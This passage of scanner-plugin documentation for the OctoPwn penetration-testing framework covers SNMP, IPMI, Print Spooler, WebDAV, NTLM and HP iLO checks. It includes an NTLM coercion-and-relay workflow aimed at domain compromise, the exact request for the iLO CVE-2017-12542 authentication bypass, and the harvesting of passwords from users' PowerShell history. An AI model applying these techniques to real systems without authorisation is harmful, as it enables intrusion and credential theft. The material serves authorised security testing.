comma-separated list of encryption types (e.g., `23 (rc4),17 (aes128),18 (aes256)`). #### krbrealm Specifies the Kerberos realm to use. Enter the Kerberos realm (domain name) for authentication. #### maxruntime Specifies the maximum runtime for the scanner. #### proxy Specifies the proxy ID to use for the scan. Enter the ID of the proxy to route the scan through. Proxies must be configured in the Proxy Window. #### resultsfile Specifies a file for saving the scan results. The file will be saved in OctoPwn’s `/browserefs/volatile` directory. #### showerrors Determines whether errors encountered during the scan should be displayed. --- # [Scanners / LDAP & NFS] nfs3file Source: https://docs.octopwn.com/plugins/scanners/nfs3file.html # NFS3 File Scanner The **NFS3 File Scanner** in OctoPwn performs file enumeration over NFSv3 shares. It iterates through folders up to a specified depth, collecting file and folder information to identify potential credentials or other sensitive data. !!! tip "Authentication" The `authtype` field below defaults to `NTLM` purely for framework symmetry — NFSv3 does not actually use NTLM or Kerberos. The real authentication choices and their operational caveats (NULL vs. system, low-port restriction, why a NULL share is the rule rather than the exception) are documented in the [NFS3 client authentication](../clients/nfs3.md#authentication) section. --- ## Parameters ### Normal Parameters #### credential Specifies the ID of the credential to use for authentication. Enter the ID of the credential stored in the Credentials Window. --- #### depth Specifies the folder enumeration depth. Controls how many levels deep the scanner will traverse within the NFS directory structure. --- #### maxitems Specifies the maximum number of items to enumerate per folder. Limits the number of items (files and folders) the scanner will retrieve per directory. --- #### targets Specifies the targets to scan. A list of targets can be specified in the following formats: - **ID**: ID of the target server from the targets window. - **IP**: Single IP address (e.g., `192.168.1.1`). - **CIDR**: IP range in CIDR notation (e.g., `192.168.1.0/24`). - **Hostname**: Resolvable hostname. - **File**: Path to a file containing targets (must be in OctoPwn’s `/browserefs/volatile` directory). File lists need to be uploaded into OctoPwn and separated by newlines. - **Control word**: Use `all` to scan all stored targets. - **Single Group**: `g:<groupname>` (e.g., `g:test1`). - **Multiple Groups**: `g:<groupname1>,g:<groupname2>` (e.g., `g:test1,g:test2`). - **Port Group**: `p:<port>` (e.g., `p:445`). - **Port Group with Protocol**: `p:<port>/<protocol>` (e.g., `p:445/tcp`). --- ### Advanced Parameters #### authtype Specifies the authentication protocol. Defaults to `NTLM` for framework symmetry — the actual NFSv3 authentication mechanism (`AUTH_NULL` vs. `AUTH_SYS`) is determined by the credential type, not by this field. See [NFS3 client authentication](../clients/nfs3.md#authentication) for the full breakdown. Available protocols: - `NTLM` - `Kerberos` #### dialect Specifies the connection dialect. For this scanner, it is fixed to `NFS3`. #### krbetypes Specifies the Kerberos encryption types to use during the scan. Provide a comma-separated list of encryption types (e.g., `23,17,18`). - 23 (rc4) - 17 (aes128) - 18 (aes256) #### krbrealm Specifies the Kerberos realm to use. Enter the Kerberos realm (domain name) for authentication. #### maxruntime Specifies the maximum runtime for the scanner. #### proxy Specifies the proxy ID to use for the scan. Enter the ID of the proxy to route the scan through. Proxies must be configured in the Proxy Window. #### resultsfile Specifies a file for saving the scan results. The file will be saved in OctoPwn’s `/browserefs/volatile` directory. #### showerrors Determines whether errors encountered during the scan should be displayed. #### timeout Sets the timeout (in seconds) for each target. #### workercount Specifies the number of parallel workers for the scan. --- # [Scanners / SNMP & IPMI] snmphost Source: https://docs.octopwn.com/plugins/scanners/snmphost.html # SNMP Host Scanner (snmphost) The **SNMP Host Scanner** queries SNMP agents (UDP port 161) on each target and retrieves a single OID value. By default it asks for the **system description** (`sysDescr`, OID `1.3.6.1.2.1.1.1.0`), which is the cheapest way to confirm a community string is valid and to grab a useful identification string in one round trip. Each result row contains the target IP and the returned OID value. The default `sysDescr` string typically reveals the exact OS name and version (Linux distribution + kernel, Windows version, IOS image) and on network and embedded gear the device type and firmware revision (router, switch, printer, UPS, BMC, …). Confirming that the configured community string works on a target also opens the door for deeper SNMP enumeration (interfaces, routes, ARP table, processes, …) using the SNMP client. !!! info "Credential = community string" For SNMPv1/v2c the "credential" used by this scanner is the SNMP community string stored in the Credentials Window. SNMPv3 uses a credential that holds the full v3 authentication parameters. !!! tip "Pull a different OID" Set `hostnameoid` to any OID you care about — for example `1.3.6.1.2.1.1.5.0` (`sysName`) for a short hostname, `1.3.6.1.2.1.1.6.0` (`sysLocation`) for the configured location string, or `1.3.6.1.4.1.9.2.1.73.0` for Cisco running-config retrieval (when permitted). !!! tip "Authentication" The `authtype` field below defaults to `NTLM` purely for framework symmetry — SNMP does not use NTLM or Kerberos. The actual SNMP authentication mechanism (v1/v2c community string vs. SNMPv3 user with auth/priv keys) is selected by the credential type stored in the Credentials Window. The [SNMP client authentication](../clients/snmp.md#authentication) section has the full matrix. --- ## Parameters ### Normal Parameters #### credential Specifies the ID of the credential to use for authentication. For SNMPv1/v2c this is the community string credential. Enter the ID of the credential stored in the Credentials Window. #### hostnameoid The OID to fetch on each target. Defaults to `1.3.6.1.2.1.1.1.0` (`sysDescr`). #### targets Specifies the targets to scan. A list of targets can be specified in the following formats: - **ID**: ID of the target server from the targets window. - **IP**: Single IP address (e.g., `192.168.1.1`). - **CIDR**: IP range in CIDR notation (e.g., `192.168.1.0/24`). - **Hostname**: Resolvable hostname. - **File**: Path to a file containing targets (must be in OctoPwn’s `/browserefs/volatile` directory). File lists need to be uploaded into OctoPwn and separated by newlines. - **Control word**: Use `all` to scan all stored targets. - **Single Group**: `g:<groupname>` (e.g., `g:test1`). - **Multiple Groups**: `g:<groupname1>,g:<groupname2>` (e.g., `g:test1,g:test2`). - **Port Group**: `p:<port>` (e.g., `p:161`). - **Port Group with Protocol**: `p:<port>/<protocol>` (e.g., `p:161/udp`). --- ### Advanced Parameters #### authtype Specifies the authentication protocol. Defaults to `NTLM` for symmetry with the rest of the framework — the actual SNMP authentication mechanism (v1/v2c community vs. SNMPv3 user) is determined by the credential type. See [SNMP client authentication](../clients/snmp.md#authentication) for the full breakdown. #### krbetypes Specifies the Kerberos encryption types to use during the scan. Provide a comma-separated list of encryption types (e.g., `23,17,18`). #### krbrealm Specifies the Kerberos realm to use. #### maxruntime Specifies the maximum runtime per host (in seconds). Set to `-1` to disable. #### protocol Specifies the protocol. Fixed to `SNMP` for this scanner. #### proxy Specifies the proxy ID to use for the scan. Enter the ID of the proxy to route the scan through. Proxies must be configured in the Proxy Window. #### resultsfile Specifies a file for saving the scan results. The file will be saved in OctoPwn’s `/browserefs/volatile` directory. #### showerrors Determines whether errors encountered during the scan should be displayed. #### timeout Sets the timeout (in seconds) for each SNMP request. #### triggerports Ports which trigger an automated `snmphost` scan when discovered by other scanners. Pre-populated with `161/UDP`. #### workercount Specifies the number of parallel workers for the scan. #### wsnetreuse Internal parameter. Do not modify. --- # [Scanners / SNMP & IPMI] ipmicaps Source: https://docs.octopwn.com/plugins/scanners/ipmicaps.html # IPMI Capabilities Scanner The **Intelligent Platform Management Interface (IPMI)** Capabilities Scanner in OctoPwn scans for open IPMI services and lists their authentication capabilities. IPMI is a protocol that allows for remote management of servers,. Compromising IPMI allows complete control over the hardware with a low-level access to the motherboard, similar to physical access to the machine. !!! info More information can be found here: [https://www.rapid7.com/blog/post/2013/07/02/a-penetration-testers-guide-to-ipmi/](https://www.rapid7.com/blog/post/2013/07/02/a-penetration-testers-guide-to-ipmi/) --- ## Parameters ### Normal Parameters #### targets List of targets to scan. IP/CDIR/file/hostname or enter "all" to scan all stored targets. You can also enter the id of your target to fill in the hostname automatically. ##### Description A list of targets can be specified in the following formats: - **ID**: ID of the target server from the targets window. - **IP**: Single IP address (e.g., `192.168.1.1`). - **CIDR**: IP range in CIDR notation (e.g., `192.168.1.0/24`). - **Hostname**: Resolvable hostname. - **File**: Path to a file containing targets (must be in OctoPwn’s `/browserefs/volatile` directory). File lists need to be uploaded into OctoPwn and separated by newlines. - **Control word**: Use `all` to scan all stored targets. - **Single Group**: `g:<groupname>` (e.g., `g:test1`). - **Multiple Groups**: `g:<groupname1>,g:<groupname2>` (e.g., `g:test1,g:test2`). - **Port Group**: `p:<port>` (e.g., `p:445`). - **Port Group with Protocol**: `p:<port>/<protocol>` (e.g., `p:445/tcp`). --- ### Advanced Parameters #### maxruntime Specifies the maximum runtime for the scan. #### proxy Specifies the proxy ID to use for the scan. Enter the ID of the proxy to route the scan through. Proxies must be configured in the Proxy Window. By default proxy 0 is used. #### resultsfile Specifies a csv filename for saving scan results. Results will be written to `/browserefs/volatile/`. #### showerrors Determines whether errors encountered during the scan should be displayed. #### timeout Sets the timeout in seconds for each target. #### workercount Specifies the number of parallel workers for the scan. #### wsnetreuse Internal parameter, do not modify. --- # [Scanners / SNMP & IPMI] ipmicipherzero Source: https://docs.octopwn.com/plugins/scanners/ipmicipherzero.html # IPMI CipherZero Scanner The **IPMI CipherZero Scanner** in OctoPwn identifies systems vulnerable to the **Cipher 0** authentication bypass in the IPMI 2.0 protocol. Cipher 0 is a significant vulnerability in IPMI 2.0 implementations that allows clear-text authentication, effectively granting access with any password when a valid username is provided. This flaw has been identified in implementations from major vendors like HP, Dell, and Supermicro. The **Intelligent Platform Management Interface (IPMI)** is a protocol for remote management of servers and workstations, providing out-of-band access to hardware for monitoring, configuration, and power cycling. It is commonly used in enterprise environments and embedded in Baseboard Management Controllers (BMCs) like HP iLO, Dell DRAC, and Supermicro IPMI. !!! info More information can be found here: [A Penetration Tester's Guide to IPMI](https://www.rapid7.com/blog/post/2013/07/02/a-penetration-testers-guide-to-ipmi/) --- ## Parameters ### Normal Parameters #### targets List of targets to scan. IP/CDIR/file/hostname or enter "all" to scan all stored targets. You can also enter the ID of your target to fill in the hostname automatically. A list of targets can be specified in the following formats: - **ID**: ID of the target server from the targets window. - **IP**: Single IP address (e.g., `192.168.1.1`). - **CIDR**: IP range in CIDR notation (e.g., `192.168.1.0/24`). - **Hostname**: Resolvable hostname. - **File**: Path to a file containing targets (must be in OctoPwn’s `/browserefs/volatile` directory). File lists need to be uploaded into OctoPwn and separated by newlines. - **Control word**: Use `all` to scan all stored targets. - **Single Group**: `g:<groupname>` (e.g., `g:test1`). - **Multiple Groups**: `g:<groupname1>,g:<groupname2>` (e.g., `g:test1,g:test2`). - **Port Group**: `p:<port>` (e.g., `p:445`). - **Port Group with Protocol**: `p:<port>/<protocol>` (e.g., `p:445/tcp`). --- ### Advanced Parameters #### maxruntime Specifies the maximum runtime for the scan. #### proxy Specifies the proxy ID to use for the scan. Enter the ID of the proxy to route the scan through. Proxies must be configured in the Proxy Window. #### resultsfile Specifies a CSV filename for saving scan results. Results will be written to `/browserefs/volatile/`. #### showerrors Determines whether errors encountered during the scan should be displayed. #### timeout Sets the timeout in seconds for each target. #### workercount Specifies the number of parallel workers for the scan. #### wsnetreuse Internal parameter, do not modify. --- # [Scanners / Vulnerability & relay-path] smbprintnightmare Source: https://docs.octopwn.com/plugins/scanners/smbprintnightmare.html # SMB PrintNightmare Scanner (smbprintnightmare) The **SMB PrintNightmare Scanner** in OctoPwn scans for hosts vulnerable to the PrintNightmare exploit. **PrintNightmare** refers to a set of vulnerabilities in the Windows Print Spooler service that allow remote code execution and privilege escalation. These vulnerabilities exploit improperly configured permissions in the Print Spooler service, enabling attackers to add malicious printer drivers to execute arbitrary code on the target system. PrintNightmare vulnerabilities are not only useful for remote or local privilege escalation but can also facilitate **unconstrained delegation attacks**. Unconstrained delegation allows attackers to retrieve Ticket Granting Tickets (TGTs) of users or systems interacting with the vulnerable machine, potentially including high-privileged accounts such as domain administrators or domain controllers. Using PrintNightmare you can exploit systems with unconstrained delegation enabled. By coercing authentication from domain controllers or other servers, you can retrieve TGTs. These tickets can then be abused using techniques such as [S4U2Self](../clients/kerberos.md#s4uself) to impersonate accounts for further attacks. For detailed technical information, visit [The Hacker Recipes](https://www.thehacker.recipes/ad/movement/print-spooler-service/printnightmare). --- ## Parameters ### Normal Parameters #### credential Specifies the ID of the credential to use for authentication. Enter the ID of the credential stored in the Credentials Window. #### targets Specifies the targets to scan. A list of targets can be specified in the following formats: - **ID**: ID of the target server from the targets window. - **IP**: Single IP address (e.g., `192.168.1.1`). - **CIDR**: IP range in CIDR notation (e.g., `192.168.1.0/24`). - **Hostname**: Resolvable hostname. - **File**: Path to a file containing targets (must be in OctoPwn’s `/browserefs/volatile` directory). File lists need to be uploaded into OctoPwn and separated by newlines. - **Control word**: Use `all` to scan all stored targets. - **Single Group**: `g:<groupname>` (e.g., `g:test1`). - **Multiple Groups**: `g:<groupname1>,g:<groupname2>` (e.g., `g:test1,g:test2`). - **Port Group**: `p:<port>` (e.g., `p:445`). - **Port Group with Protocol**: `p:<port>/<protocol>` (e.g., `p:445/tcp`). --- ### Advanced Parameters #### authtype Specifies the authentication protocol. Available protocols: - `NTLM` - `Kerberos` #### dialect Specifies the SMB connection dialect. Fixed to `SMB2` for this scanner. #### krbetypes Specifies the Kerberos encryption types to use during the scan. Provide a comma-separated list of encryption types (e.g., `23,17,18`). #### krbrealm Specifies the Kerberos realm to use. Enter the Kerberos realm (domain name) for authentication. #### maxruntime Specifies the maximum runtime for the scanner. #### proxy Specifies the proxy ID to use for the scan. Enter the ID of the proxy to route the scan through. Proxies must be configured in the Proxy Window. #### resultsfile Specifies a file for saving the scan results. The file will be saved in OctoPwn’s `/browserefs/volatile` directory. #### showerrors Determines whether errors encountered during the scan should be displayed. #### timeout Sets the timeout (in seconds) for each target. #### workercount Specifies the number of parallel workers for the scan. --- # [Scanners / Vulnerability & relay-path] smbspooler Source: https://docs.octopwn.com/plugins/scanners/smbspooler.html # SMB Spooler Scanner (smbspooler) The **SMB Spooler Scanner** detects whether the Windows **Print Spooler** service (`spoolsv`) is reachable on each target via RPC. It binds to the Spooler RPC interface (typically over port 135 endpoint mapper and 445 SMB) and reports a simple `AVAILABLE` boolean per host. No credentials are required. An exposed Print Spooler unlocks two well-known attack families: - **PrinterBug / SpoolSample** — abuse the `RpcRemoteFindFirstPrinterChangeNotification` (`MS-RPRN`) interface to coerce the target machine to authenticate back to an attacker-controlled host. Combined with [smbwebdav](smbwebdav.md) targets and an NTLM relay, this is a reliable path to RBCD abuse and lateral movement. - **PrintNightmare** (CVE-2021-1675 / CVE-2021-34527) — remote code execution via the Spooler. Use the **smbprintnightmare** scanner to confirm whether a given host is still exploitable after patching. Even on fully patched hosts where PrintNightmare RCE is fixed, a reachable Spooler is still a coercion sink — so this finding remains relevant for any engagement that touches NTLM relay paths. !!! tip "Coercion + relay workflow" 1. **smbspooler** — find Spooler-enabled hosts. 2. [smbwebdav](smbwebdav.md) — find WebDAV-enabled relay sinks (or just any non-signing-enforced service). 3. Start the relay server (Servers → relay). 4. Use the printerbug attack to coerce the discovered Spooler hosts. !!! tip "Drive coercion + RCE from the SMB client" When you have a credential to act from, the [SMB client](../clients/smb.md) exposes the matching coercion and RCE primitives directly: [`printerbug` and other NTLM-coercion commands](../clients/smb.md#ntlm-coercion), and the [`printnightmare` family in the vulnerabilities group](../clients/smb.md#vulnerabilities). --- ## Parameters ### Normal Parameters #### targets Specifies the targets to scan. A list of targets can be specified in the following formats: - **ID**: ID of the target server from the targets window. - **IP**: Single IP address (e.g., `192.168.1.1`). - **CIDR**: IP range in CIDR notation (e.g., `192.168.1.0/24`). - **Hostname**: Resolvable hostname. - **File**: Path to a file containing targets (must be in OctoPwn’s `/browserefs/volatile` directory). File lists need to be uploaded into OctoPwn and separated by newlines. - **Control word**: Use `all` to scan all stored targets. - **Single Group**: `g:<groupname>` (e.g., `g:test1`). - **Multiple Groups**: `g:<groupname1>,g:<groupname2>` (e.g., `g:test1,g:test2`). - **Port Group**: `p:<port>` (e.g., `p:445`). - **Port Group with Protocol**: `p:<port>/<protocol>` (e.g., `p:445/tcp`). --- ### Advanced Parameters #### maxruntime Specifies the maximum runtime per host (in seconds). Set to `-1` to disable. #### proxy Specifies the proxy ID to use for the scan. Enter the ID of the proxy to route the scan through. Proxies must be configured in the Proxy Window. #### resultsfile Specifies a file for saving the scan results. The file will be saved in OctoPwn’s `/browserefs/volatile` directory. #### showerrors Determines whether errors encountered during the scan should be displayed. #### timeout Sets the timeout (in seconds) for each connection attempt. #### triggerports Ports which trigger an automated `smbspooler` scan when discovered by other scanners. Pre-populated with `135/TCP, 445/TCP`. #### workercount Specifies the number of parallel workers for the scan. #### wsnetreuse Internal parameter. Do not modify. --- # [Scanners / Vulnerability & relay-path] smbwebdav Source: https://docs.octopwn.com/plugins/scanners/smbwebdav.html # SMB WebDAV Detection Scanner (smbwebdav) The **SMB WebDAV Detection Scanner** detects whether the **WebClient** (WebDAV) service is running on each target host by probing over SMB (port 445). It returns a single boolean `AVAILABLE` per host. A machine with the WebClient service active is a high-value target for **NTLM relay** attacks. When WebDAV is enabled the host will follow UNC paths over **HTTP**, which means an attacker on the same network can coerce NTLM authentication without requiring SMB signing on the relay path. This pairs naturally with authentication-coercion techniques (PetitPotam, PrinterBug, …) to relay credentials to LDAP, AD CS or other services where signing is not enforced — frequently leading to domain compromise. Finding WebDAV-enabled hosts is a standard step in any internal assessment that focuses on NTLM relay paths. !!! tip "Combine with the other relay-path scanners" - [smbspooler](smbspooler.md) — Print Spooler reachable? Solid coercion vector. - [ntlmreflection](ntlmreflection.md) — vulnerable to relay-back-to-self? - The relay server (under Servers → relay) — the actual relay target / sink. --- ## Parameters ### Normal Parameters #### credential Specifies the ID of the credential to use for authentication. Enter the ID of the credential stored in the Credentials Window. A standard domain user is sufficient. #### targets Specifies the targets to scan. A list of targets can be specified in the following formats: - **ID**: ID of the target server from the targets window. - **IP**: Single IP address (e.g., `192.168.1.1`). - **CIDR**: IP range in CIDR notation (e.g., `192.168.1.0/24`). - **Hostname**: Resolvable hostname. - **File**: Path to a file containing targets (must be in OctoPwn’s `/browserefs/volatile` directory). File lists need to be uploaded into OctoPwn and separated by newlines. - **Control word**: Use `all` to scan all stored targets. - **Single Group**: `g:<groupname>` (e.g., `g:test1`). - **Multiple Groups**: `g:<groupname1>,g:<groupname2>` (e.g., `g:test1,g:test2`). - **Port Group**: `p:<port>` (e.g., `p:445`). - **Port Group with Protocol**: `p:<port>/<protocol>` (e.g., `p:445/tcp`). --- ### Advanced Parameters #### authtype Specifies the authentication protocol. Available protocols: - `NTLM` - `Kerberos` #### dialect Specifies the SMB connection dialect. Fixed to `SMB2` for this scanner. #### krbetypes Specifies the Kerberos encryption types to use during the scan. Provide a comma-separated list of encryption types (e.g., `23,17,18`). #### krbrealm Specifies the Kerberos realm to use. #### maxruntime Specifies the maximum runtime per host (in seconds). Set to `-1` to disable. #### proxy Specifies the proxy ID to use for the scan. Enter the ID of the proxy to route the scan through. Proxies must be configured in the Proxy Window. #### resultsfile Specifies a file for saving the scan results. The file will be saved in OctoPwn’s `/browserefs/volatile` directory. #### showerrors Determines whether errors encountered during the scan should be displayed. #### timeout Sets the timeout (in seconds) for each connection attempt. #### triggerports Ports which trigger an automated `smbwebdav` scan when discovered by other scanners. Pre-populated with `445/TCP`. #### workercount Specifies the number of parallel workers for the scan. #### wsnetreuse Internal parameter. Do not modify. --- # [Scanners / Vulnerability & relay-path] ntlmreflection Source: https://docs.octopwn.com/plugins/scanners/ntlmreflection.html # NTLM Reflection Scanner (ntlmreflection) The **NTLM Reflection Scanner** identifies hosts that are vulnerable to NTLM reflection (a.k.a. NTLM **relay-back-to-self**). It authenticates with the supplied credential, opens the Remote Registry over SMB (port 445), reads the OS build / UBR fields and the SMB-signing configuration, then evaluates whether the patch level is below the mitigation threshold and whether SMB signing is enforced. Each result row contains the target IP, the OS version (`OS_MAJOR`, `OS_MINOR`, `BUILD`, `UBR`), a `VULNERABLE` flag and `SIGNING_REQUIRED`. A host is flagged as vulnerable when its OS build is below the patch level that mitigates NTLM reflection **and** SMB signing is not enforced. When a host is vulnerable, an attacker who can coerce that machine to authenticate to itself (via Spooler / [smbspooler](smbspooler.md), PetitPotam, …) can relay the authentication back to its own services, frequently achieving SYSTEM-level access — even from an unprivileged starting point. !!! warning "Remote Registry must be running" The check reads OS build and signing settings from `HKLM\SYSTEM` over the **Remote Registry** service. If the service is disabled on the target, the scanner cannot determine the build and the result will not be accurate. Verify the service status before trusting a clean result. !!! tip "Combine with coercion checks" - [smbspooler](smbspooler.md) — Print Spooler reachable? Coercion path open. - [smbwebdav](smbwebdav.md) — WebClient (WebDAV) reachable? Another reliable coercion vector. --- ## Parameters ### Normal Parameters #### credential Specifies the ID of the credential to use for authentication. Enter the ID of the credential stored in the Credentials Window. A standard domain user usually has enough access to read the registry value used by this check. #### targets Specifies the targets to scan. A list of targets can be specified in the following formats: - **ID**: ID of the target server from the targets window. - **IP**: Single IP address (e.g., `192.168.1.1`). - **CIDR**: IP range in CIDR notation (e.g., `192.168.1.0/24`). - **Hostname**: Resolvable hostname. - **File**: Path to a file containing targets (must be in OctoPwn’s `/browserefs/volatile` directory). File lists need to be uploaded into OctoPwn and separated by newlines. - **Control word**: Use `all` to scan all stored targets. - **Single Group**: `g:<groupname>` (e.g., `g:test1`). - **Multiple Groups**: `g:<groupname1>,g:<groupname2>` (e.g., `g:test1,g:test2`). - **Port Group**: `p:<port>` (e.g., `p:445`). - **Port Group with Protocol**: `p:<port>/<protocol>` (e.g., `p:445/tcp`). --- ### Advanced Parameters #### authtype Specifies the authentication protocol. Available protocols: - `NTLM` - `Kerberos` #### dialect Specifies the SMB connection dialect. Fixed to `SMB2` for this scanner. #### krbetypes Specifies the Kerberos encryption types to use during the scan. Provide a comma-separated list of encryption types (e.g., `23,17,18`). #### krbrealm Specifies the Kerberos realm to use. #### maxruntime Specifies the maximum runtime per host (in seconds). Set to `-1` to disable. #### proxy Specifies the proxy ID to use for the scan. Enter the ID of the proxy to route the scan through. Proxies must be configured in the Proxy Window. #### resultsfile Specifies a file for saving the scan results. The file will be saved in OctoPwn’s `/browserefs/volatile` directory. #### showerrors Determines whether errors encountered during the scan should be displayed. #### timeout Sets the timeout (in seconds) for each connection attempt. #### triggerports Ports which trigger an automated `ntlmreflection` scan when discovered by other scanners. Pre-populated with `445/TCP`. #### workercount Specifies the number of parallel workers for the scan. #### wsnetreuse Internal parameter. Do not modify. --- # [Scanners / Vulnerability & relay-path] ntlmv1 Source: https://docs.octopwn.com/plugins/scanners/ntlmv1.html # NTLMv1 Scanner (ntlmv1) The **NTLMv1 Scanner** checks whether a target host still permits the legacy **NTLMv1** authentication protocol. It connects over SMB (port 445), authenticates with the supplied credential, then opens the Remote Registry and reads: ``` HKLM\SYSTEM\CurrentControlSet\Control\Lsa\LmCompatibilityLevel ``` A value of `0` or `1` means the host will accept (and respond with) NTLMv1 challenges, which are dramatically weaker than NTLMv2: - NTLMv1 captured hashes can often be cracked to **plaintext** on commodity GPU hardware in a matter of hours. - In relay scenarios NTLMv1 lacks the server-challenge binding that protects NTLMv2, broadening the attack surface. - Many compliance frameworks (CIS, STIG, PCI-DSS) explicitly prohibit anything below `LmCompatibilityLevel = 3`. Each result row contains the target IP, the OS version (`OS_MAJOR`, `OS_MINOR`, `BUILD`), the raw `LMCOMPATIBILITYLEVEL` value and a `VULNERABLE` boolean (`True` when the value is `0` or `1`). !!! warning "Administrator access required" Reading the `LSA` registry key requires administrative access on the target. The credential supplied to this scanner must hold local-admin privileges, otherwise the registry open will fail and the result will be reported as an error. !!! warning "Remote Registry must be running" The check goes through the **Remote Registry** service. If the service is disabled, the scanner cannot read the value. --- ## Parameters ### Normal Parameters #### credential Specifies the ID of the credential to use for authentication. Must hold local-admin privileges on the target. Enter the ID of the credential stored in the Credentials Window. #### targets Specifies the targets to scan. A list of targets can be specified in the following formats: - **ID**: ID of the target server from the targets window. - **IP**: Single IP address (e.g., `192.168.1.1`). - **CIDR**: IP range in CIDR notation (e.g., `192.168.1.0/24`). - **Hostname**: Resolvable hostname. - **File**: Path to a file containing targets (must be in OctoPwn’s `/browserefs/volatile` directory). File lists need to be uploaded into OctoPwn and separated by newlines. - **Control word**: Use `all` to scan all stored targets. - **Single Group**: `g:<groupname>` (e.g., `g:test1`). - **Multiple Groups**: `g:<groupname1>,g:<groupname2>` (e.g., `g:test1,g:test2`). - **Port Group**: `p:<port>` (e.g., `p:445`). - **Port Group with Protocol**: `p:<port>/<protocol>` (e.g., `p:445/tcp`). --- ### Advanced Parameters #### authtype Specifies the authentication protocol. Available protocols: - `NTLM` - `Kerberos` #### dialect Specifies the SMB connection dialect. Fixed to `SMB2` for this scanner. #### krbetypes Specifies the Kerberos encryption types to use during the scan. Provide a comma-separated list of encryption types (e.g., `23,17,18`). #### krbrealm Specifies the Kerberos realm to use. #### maxruntime Specifies the maximum runtime per host (in seconds). Set to `-1` to disable. #### proxy Specifies the proxy ID to use for the scan. Enter the ID of the proxy to route the scan through. Proxies must be configured in the Proxy Window. #### resultsfile Specifies a file for saving the scan results. The file will be saved in OctoPwn’s `/browserefs/volatile` directory. #### showerrors Determines whether errors encountered during the scan should be displayed. #### timeout Sets the timeout (in seconds) for each connection attempt. #### triggerports Ports which trigger an automated `ntlmv1` scan when discovered by other scanners. Pre-populated with `445/TCP`. #### workercount Specifies the number of parallel workers for the scan. #### wsnetreuse Internal parameter. Do not modify. --- # [Scanners / Vulnerability & relay-path] CVE_2017_12542 Source: https://docs.octopwn.com/plugins/scanners/CVE_2017_12542.html # HP iLO 4 Auth Bypass Scanner (CVE_2017_12542) The **HP iLO 4 Auth Bypass Scanner** tests target hosts for **CVE-2017-12542**, an authentication-bypass vulnerability in HP iLO 4 management interfaces (HTTPS on port 443). The exploit is delightfully simple: an HTTP `GET` to `/rest/v1/AccountService/Accounts` with a `Connection` header containing exactly **29 "A" characters** crashes the iLO authentication state machine and returns the full list of user accounts — including password hashes — without any credentials. Each result row contains the target IP, the URL that was tested and a `IS_VULNERABLE` boolean. A confirmed vulnerability gives an attacker complete unauthenticated control of the iLO management interface: read iLO credentials, reset the host server, mount virtual media, install firmware, and ultimately control the bare-metal hardware. HP iLO 4 firmware versions **prior to 2.54** are affected. !!! warning "Test responsibly" The exploit is benign in itself — it just leaks data — but it does crash the auth state on some firmware revisions. Run only against assets you are authorised to test, and avoid running it during change windows where iLO availability matters. !!! info "Discovery first" iLO 4 is normally exposed on port 443. Use [portscan](portscan.md) followed by [httpheader](httpheader.md) or [httpfinger](httpfinger.md) to spot iLO interfaces before pointing this scanner at them. --- ## Parameters ### Normal Parameters #### targets Specifies the targets to scan. The scanner always probes port 443 over HTTPS. A list of targets can be specified in the following formats: - **ID**: ID of the target server from the targets window. - **IP**: Single IP address (e.g., `192.168.1.1`). - **CIDR**: IP range in CIDR notation (e.g., `192.168.1.0/24`). - **Hostname**: Resolvable hostname. - **File**: Path to a file containing targets (must be in OctoPwn’s `/browserefs/volatile` directory). File lists need to be uploaded into OctoPwn and separated by newlines. - **Control word**: Use `all` to scan all stored targets. - **Single Group**: `g:<groupname>` (e.g., `g:test1`). - **Multiple Groups**: `g:<groupname1>,g:<groupname2>` (e.g., `g:test1,g:test2`). - **Port Group**: `p:<port>` (e.g., `p:443`). - **Port Group with Protocol**: `p:<port>/<protocol>` (e.g., `p:443/tcp`). --- ### Advanced Parameters #### maxruntime Specifies the maximum runtime per host (in seconds). Set to `-1` to disable. #### proxy Specifies the proxy ID to use for the scan. Enter the ID of the proxy to route the scan through. Proxies must be configured in the Proxy Window. #### resultsfile Specifies a file for saving the scan results. The file will be saved in OctoPwn’s `/browserefs/volatile` directory. #### showerrors Determines whether errors encountered during the scan should be displayed. #### timeout Sets the timeout (in seconds) for each connection attempt. #### triggerports Ports which trigger an automated CVE-2017-12542 scan when discovered by other scanners. Pre-populated with `443/TCP`. #### workercount Specifies the number of parallel workers for the scan. #### wsnetreuse Internal parameter. Do not modify. --- # [Scanners / Post-exploitation secrets] smbpshistory Source: https://docs.octopwn.com/plugins/scanners/smbpshistory.html # SMB PowerShell History Scanner (smbpshistory) The **SMB PowerShell History Scanner** retrieves the **PSReadline** command history files from every user profile on each target host via SMB (port 445). Windows stores every command typed in a PowerShell console in a plaintext file: ``` %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt ``` The scanner walks the user profile directories on each target and downloads these files for each user it can read. Each result row contains the target IP, the username whose history was retrieved, the full file path on the remote host and the file contents. These history files are a goldmine during post-exploitation: they frequently contain plaintext passwords passed as command-line arguments (`-Password Pa$$w0rd`), internal URLs, database connection strings, service account names, helpful one-liner scripts that reveal what the host is used for, and AD group / server names that map out further pivoting opportunities. Always review them carefully for credential material and operational intelligence. !!! tip "Combine with other secret-mining scanners" - [event6secrets](event6secrets.md) — credentials embedded in Windows Event Log entries. - [smbregsession](smbregsession.md) — local user SIDs from the registry. --- ## Parameters ### Normal Parameters #### credential Specifies the ID of the credential to use for authentication. Local-admin or backup-operator privileges are typically required to read other users' profile directories. Enter the ID of the credential stored in the Credentials Window. #### targets Specifies the targets to scan. A list of targets can be specified in the following formats: - **ID**: ID of the target server from the targets window. - **IP**: Single IP address (e.g., `192.168.1.1`). - **CIDR**: IP range in CIDR notation (e.g., `192.168.1.0/24`). - **Hostname**: Resolvable hostname. - **File**: Path to a file containing targets (must be in OctoPwn’s `/browserefs/volatile` directory). File lists need to be uploaded into OctoPwn and separated by newlines. - **Control word**: Use `all` to scan all stored targets. - **Single Group**: `g:<groupname>` (e.g., `g:test1`). - **Multiple Groups**: `g:<groupname1>,g:<groupname2>` (e.g., `g:test1,g:test2`). - **Port Group**: `p:<port>` (e.g., `p:445`). - **Port Group with Protocol**: `p:<port>/<protocol>` (e.g., `p:445/tcp`). --- ### Advanced Parameters #### authtype Specifies the authentication protocol. Available protocols: - `NTLM` - `Kerberos` #### dialect Specifies the SMB connection dialect. Fixed to `SMB2` for this scanner. #### krbetypes Specifies the Kerberos encryption types to use during the scan. Provide a comma-separated list of encryption types (e.g., `23,17,18`). #### krbrealm Specifies the Kerberos realm to use. #### maxruntime Specifies the maximum runtime per host (in seconds). Set to `-1` to disable. #### proxy Specifies the proxy ID to use for the scan. Enter the ID of the proxy to route the scan through. Proxies must be 